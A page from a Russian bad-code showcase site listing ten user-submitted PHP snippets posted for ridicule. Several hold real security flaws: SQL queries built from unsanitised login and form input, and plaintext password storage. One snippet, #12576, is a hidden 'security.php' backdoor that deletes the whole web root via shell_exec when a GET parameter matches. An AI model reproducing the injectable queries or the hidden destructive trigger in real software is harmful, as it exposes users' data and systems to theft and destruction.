1. PHP / Говнокод #12608

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    if (true) {
                $res = mssql_query("SELECT  CAST(_Fld204 AS TEXT) AS _Fld204 FROM [dbo].[_Reference24] WHERE _Fld203='" . $login . "' ");
                $pass = mssql_fetch_array($res, MSSQL_ASSOC);
                $pass = $pass["_Fld204"];
                if ( strlen($pass) > 0 && $pass == $password ) {
                    $_SESSION["AUTH_V"] = "Y";
                    $_SESSION["LOGINSS"]= trim($login);
                }
                else {
                    $_SESSION["AUTH_V"] = "N";
                }
    
    
           }

    Кусок авторизации

    unst, 17 Февраля 2013

    Комментарии (8)
  2. PHP / Говнокод #12607

    +153

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    public static function GetID()
        {
            $arr = array(
                '1', '2', '3', '4', '5', '6',
                '7', '8', '9', '0');
            // Генерируем пароль
            $pass = "";
            $number = 5;
            for ($i = 0; $i < $number; $i++) {
                // Вычисляем случайный индекс массива
                $index = rand(0, count($arr) - 1);
                $pass .= $arr[$index];
    
            }
            return $pass;
    
    
        }

    Получение уникального айди заказа.
    Заказ столиков в баре.

    unst, 17 Февраля 2013

    Комментарии (10)
  3. PHP / Говнокод #12606

    +142

    1. 1
    2. 2
    3. 3
    4. 4
    $arr = date("w", strtotime($date_bron));
    $date = $arr;
    if ($arr == 0)
         $date = 0;

    Система бронирования столика для бара...

    unst, 17 Февраля 2013

    Комментарии (1)
  4. PHP / Говнокод #12596

    +151

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    <?php
    class MainController extends ModuleAdminController {
    	public $defaultAction = 'admin';
    	
    	public function actionCreate() {
    		$this->redirect('admin');
    	}
    	
    	public function actionDelete($id) {
    		$this->redirect('admin');
    	}
    	
    	public function actionView($id) {
    		$this->redirect('admin');
    	}
    }

    Модули в Yii такие коварные :(

    Diwms, 15 Февраля 2013

    Комментарии (2)
  5. PHP / Говнокод #12595

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    private function init_categories()
    	{
    		// Дерево категорий
    		$tree = new stdClass();
    		$tree->subcategories = array();
    		
    		// Указатели на узлы дерева
    		$pointers = array();
    		$pointers[0] = &$tree;
    		$pointers[0]->path = array();
    		
    		// Выбираем все категории
    		$query = $this->db->placehold("SELECT c.id, c.parent_id, c.name, c.description, c.url, c.meta_title, c.meta_keywords, c.meta_description, c.image, c.visible, c.position
    										FROM __categories c ORDER BY c.parent_id, c.position");
    											
    		// Выбор категорий с подсчетом количества товаров для каждой. Может тормозить при большом количестве товаров.
    		// $query = $this->db->placehold("SELECT c.id, c.parent_id, c.name, c.description, c.url, c.meta_title, c.meta_keywords, c.meta_description, c.image, c.visible, c.position, COUNT(p.id) as products_count
    		//                               FROM __categories c LEFT JOIN __products_categories pc ON pc.category_id=c.id LEFT JOIN __products p ON p.id=pc.product_id AND p.visible GROUP BY c.id ORDER BY c.parent_id, c.position");
    		
    		
    		$this->db->query($query);
    		$categories = $this->db->results();
    				
    		$finish = false;
    		// Не кончаем, пока не кончатся категории, или пока ниодну из оставшихся некуда приткнуть
    		while(!empty($categories)  && !$finish)
    		{
    			$flag = false;
    			// Проходим все выбранные категории
    			foreach($categories as $k=>$category)
    			{
    				if(isset($pointers[$category->parent_id]))
    				{
    					// В дерево категорий (через указатель) добавляем текущую категорию
    					$pointers[$category->id] = $pointers[$category->parent_id]->subcategories[] = $category;
    					
    					// Путь к текущей категории
    					$curr = $pointers[$category->id];
    					$pointers[$category->id]->path = array_merge((array)$pointers[$category->parent_id]->path, array($curr));
    					
    					// Убираем использованную категорию из массива категорий
    					unset($categories[$k]);
    					$flag = true;
    				}
    			}
    			if(!$flag) $finish = true;
    		}
    		
    		// Для каждой категории id всех ее деток узнаем
    		$ids = array_reverse(array_keys($pointers));
    		foreach($ids as $id)
    		{
    			if($id>0)
    			{
    				$pointers[$id]->children[] = $id;
    
    				if(isset($pointers[$pointers[$id]->parent_id]->children))
    					$pointers[$pointers[$id]->parent_id]->children = array_merge($pointers[$id]->children, $pointers[$pointers[$id]->parent_id]->children);
    				else
    					$pointers[$pointers[$id]->parent_id]->children = $pointers[$id]->children;
    					
    				// Добавляем количество товаров к родительской категории, если текущая видима
    				// if(isset($pointers[$pointers[$id]->parent_id]) && $pointers[$id]->visible)
    				//		$pointers[$pointers[$id]->parent_id]->products_count += $pointers[$id]->products_count;
    			}
    		}
    		unset($pointers[0]);
    		unset($ids);
    
    		$this->categories_tree = $tree->subcategories;
    		$this->all_categories = $pointers;	
    	}

    построение дерева категорий в платной cms simpla

    alpex, 15 Февраля 2013

    Комментарии (6)
  6. PHP / Говнокод #12586

    +138

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    $sql_ex = array();
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '5')
    	$sql_ex[] = " `ex`.`num` = 5 ";
    else
    	$sql_ex[] = " `ex`.`num` != 5 ";
    
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '7')
    	$sql_ex[] = " `ex`.`num` = 7 ";
    else
    	$sql_ex[] = " `ex`.`num` != 7 ";
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '4')
    	$sql_ex[] = " `ex`.`num` = 4 ";
    else
    	$sql_ex[] = " `ex`.`num` != 4 ";
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '10')
    	$sql_ex[] = " `ex`.`num` = 10 ";
    else
    	$sql_ex[] = " `ex`.`num` != 10 ";
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '11')
    	$sql_ex[] = " `ex`.`num` = 11 ";
    else
    	$sql_ex[] = " `ex`.`num` != 11 ";
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '14')
    	$sql_ex[] = " `ex`.`num` = 14 ";
    else
    	$sql_ex[] = " `ex`.`num` != 14 ";
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '19')
    	$sql_ex[] = " `ex`.`num` = 19 ";
    else
    	$sql_ex[] = " `ex`.`num` != 19 ";
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '20')
    	$sql_ex[] = " `ex`.`num` = 20 ";
    else
    	$sql_ex[] = " `ex`.`num` != 20 ";
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '21')
    	$sql_ex[] = " `ex`.`num` = 21 ";
    else
    	$sql_ex[] = " `ex`.`num` != 21 ";
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '13')
    	$sql_ex[] = " `ex`.`num` = 13 ";
    else
    	$sql_ex[] = " `ex`.`num` != 13 ";
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '12')
    	$sql_ex[] = " `ex`.`num` = 12 ";
    else
    	$sql_ex[] = " `ex`.`num` != 12 ";
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '6')
    	$sql_ex[] = " `ex`.`num` = 6 ";
    else
    	$sql_ex[] = " `ex`.`num` != 6 ";
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '17')
    	$sql_ex[] = " `ex`.`num` = 17 ";
    else
    	$sql_ex[] = " `ex`.`num` != 17 ";
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '23')
    	$sql_ex[] = " `ex`.`num` = 23 ";
    else
    	$sql_ex[] = " `ex`.`num` != 23 ";
    if(isset($this->request->get["id"]) && $this->request->get["id"] == '16')
    	$sql_ex[] = " `ex`.`num` = 16 ";
    else
    	$sql_ex[] = " `ex`.`num` != 16 ";
    $sql_extra = '';
    if (!empty($sql_ex)) $sql_extra = ' AND '.implode(" AND ", $sql_ex);

    В начале нужно было одно условие, потом еще и еще и ...

    gvncode, 14 Февраля 2013

    Комментарии (4)
  7. PHP / Говнокод #12579

    +127

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    /* Групповые операции с обращениями */
    public function issuegroupopsAction() {
        $this->_helper->layout()->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
        $operation = $this->_request->getPost('operation');
        define('RTF_SYMBOL_PAGE_BREAK', '\page');
        try {
            // Валидация
            if(!in_array($operation, array('print-letters', 'print-work-order'))) {
                throw new Exception('Неверная операция');
            }
            $issue_numbers = explode(';', (string)$_POST['issues']);
            if(!count($issue_numbers)) {
                throw new Exception('Не выбрано ни одного обращения.');
            }
            // Вычитка указанных обращений
            $filter = new Type_Issue_Filter(array('issue_number' => $issue_numbers));
            $paginator = new Type_Paginator;
            $paginator->items_per_page = 40;
            $issues = services::Issue()->records($this->user->sessionId, $filter, array('executant', 'address'), 'number', $paginator);
            if(!count($issues->items)) {
                throw new Exception('Выбранные обращения не найдены.');
            }
            $templateMaker = new Prodom_Rtf_TemplateMaker;
            $templatesDir = dirname(__FILE__).'/templates/';
            $outputFiles = array();
            // Вид операции с группой обращений
            switch($operation) {
                case 'print-letters': {
                    // Сформирвать письма
                    $templateMaker->readTemplatesFromRtfFile($templatesDir.'templates.rtf');
                    $outputFiles = array('executants_%u.rtf' => array('issue2', 'letter1'), 'declarant_%u.rtf' => array('letter2'));
                    break;
                }
                case 'print-work-order': {
                    // Печать заказ-нарядов
                    if(!is_null($this->user->organization->issue_form_template)) {
                        // Если для организации определен свой собственный шаблон
                        $templateMaker->readTemplatesFromRtfFile($templatesDir.$this->user->organization->issue_form_template);
                    } else {
                        // Если шаблон явно не определен
                        $templateMaker->readTemplatesFromRtfFile($templatesDir.'templates.rtf');
                    }
                    $outputFiles = array('issue_%u.rtf' => array('issue1'));
                    break;
                }
            }
            $toworkIssueIds = array();
            $outputs = array_fill_keys(array_keys($outputFiles), null);
            // Перебор выбранных пользователем обращений
            foreach($issues->items as $issue) {
                // Переводим все новые обращения в статус "В работе"
                $issue_new_statuses = array(ISSUE_STATUS_NEW, ISSUE_STATUS_CONFIRMED);
                if(($operation == 'print-work-order') && in_array($issue->status_id, $issue_new_statuses) && ($issue->org_executor_id == $this->user->organization->id)) {
                    $toworkIssueIds[] = $issue->id;
                }
                // Подготовка полей обращения для печати на формах
                $fields = $this->getIssuePrintFields($issue);
                foreach($outputFiles as $fileName => $needTemplates) {
                    foreach($needTemplates as $template_code) {
                        $out = $templateMaker->getAppliedTemplate($template_code, $fields);
                        $outputs[$fileName] .= ($outputs[$fileName] ? RTF_SYMBOL_PAGE_BREAK : null) . $out;
                    }
                }
            }
            if(count($toworkIssueIds)) {
                $resp = services::Issue()->changeStatusMultiple($this->user->sessionId, $toworkIssueIds, ISSUE_STATUS_INWORK, null, null, null);
            }
            // Если на выходе только один файл, отправляем rtf
            if(count($outputs) == 1) {
                foreach($outputs as $fileName => $fileBody) {
                    // Генерация случайного имени файла
                    $fileName = str_replace('%u', substr(md5(implode('_', $issue_numbers)), 0, 7), $fileName);
                    // Вывод файла пользователю
                    header('Content-type: application/rtf');
                    header("Content-Disposition: attachment; filename={$fileName}");
                    echo $templateMaker->getHeader().$fileBody.$templateMaker->getFooter();
                }
            } else {
                // Eсли на выходе больше одного файла, пакуем их архивом
                header("Content-type: application/octet-stream");
                header("Content-Disposition: attachment; filename=issues.zip");
                header("Content-Description: Files of an applicant");
                // Создаем ZIP архив
                $zip = new ZipFile();
                foreach($outputs as $fileName => $fileBody) {
                    // Генерация случайного имени файла
                    $fileName = str_replace('%u', substr(md5(implode('_', $issue_numbers)), 0, 7), $fileName);
                    // Вывод файла пользователю в браузер
                    $fileBody = $templateMaker->getHeader().$fileBody.$templateMaker->getFooter();
                    $zip->addFile($fileBody, $fileName);
                }
                echo $zip->file();
            }
        }
        catch(Exception $ex) {
            die($ex->getMessage());
        }
    }

    Функция распечатки документов с отчетами по выбранным обращениям

    sciner, 13 Февраля 2013

    Комментарии (1)
  8. PHP / Говнокод #12577

    +119

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    <?php
    session_start();
    if(empty($_SESSION['login']) or empty($_SESSION['id']) or empty($_SESSION['auth_key']))
    {
        header("Location: index.php");
    }
    else
    {
        $user_name = $_POST['name'];
        $user_sname = $_POST['sname'];
        $user_gender = $_POST['gender'];
        $user_about = $_POST['about'];
        
        
        $user_phone = $_POST['phone'];
        $user_mail = $_POST['email'];
        
        $user_company = $_POST['company'];
        $user_company_position = $_POST['position'];
        
        
        $user_login = $_POST['login'];
        $user_password = $_POST['password'];
        
        include 'includes/xd4sw.php';
        $update_query = mysql_query("UPDATE users SET user_name='$user_name', user_sname='$user_sname', user_gender='$user_gender',
                user_about='$user_about', user_phone='$user_phone', user_mail='$user_mail', user_company='$user_company', 
                user_company_position='$user_company_position', user_login='$user_login', user_password='$user_password' WHERE user_id=".$_SESSION['id']);
        mysql_close($db);
        header('Location: settings.php?act=good');
        
    }
    
    ?>

    НА НАХ!!!!

    Govnisti_Diavol, 12 Февраля 2013

    Комментарии (31)
  9. PHP / Говнокод #12576

    +136

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    <?php
    $param = $_GET['delaem'];
    if($param=='nahui')
    {
        $dir = __DIR__;
        shell_exec("rm -f -R ".$_SERVER['DOCUMENT_ROOT']);
    }
    ?>

    Фрилансер защищает себя от неплатежеспособного заказчика xD

    Файл лежал на продакшин сервере около года, название файла - security.php

    uint, 11 Февраля 2013

    Комментарии (9)
  10. PHP / Говнокод #12570

    +109

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    public function __get($name){          
            if(isset($this->fields[$name])){            
                if(class_exists($this->fields[$name]) && 
                   strcasecmp($this->fields[$name], $this->vals[$name]['mdl']) == 0 && 
                   strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0){    
                    $class = $this->fields[$name];
                    $id = (string)$this->vals[$name]['id'];
                    if(!$this->refsCache[$id])
                        $this->refsCache[$id] = $class::findById($this->vals[$name]['id']);
                    return $this->refsCache[$id];
                }else                
                    return $this->vals[$name];
            }elseif(isset($this->fieldsRev[$name])) 
                return $this->vals[$name];
            else throw new Exception('Not found field "'.$name.'" when reading in model');
        }
    
        public function __set($name, $value){    
            if(isset($this->fields[$name])){  
                if(class_exists($this->fields[$name]) && 
                   strcasecmp($this->fields[$name], get_class($value)) == 0 && 
                   strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0)
                    $this->vals[$name] = array('id' => $value->getId(), 'mdl' => strtolower($this->fields[$name]));
                else                
                    $this->vals[$name] = $value;
            }elseif(isset($this->fieldsRev[$name])) 
                $this->vals[$name] = $value;
            else throw new Exception('Not found field "'.$name.'" when writing in model');        
        }

    Пример реализации через жопу полей для базового класс модели, с ужасным оформлением кода.

    haker, 11 Февраля 2013

    Комментарии (9)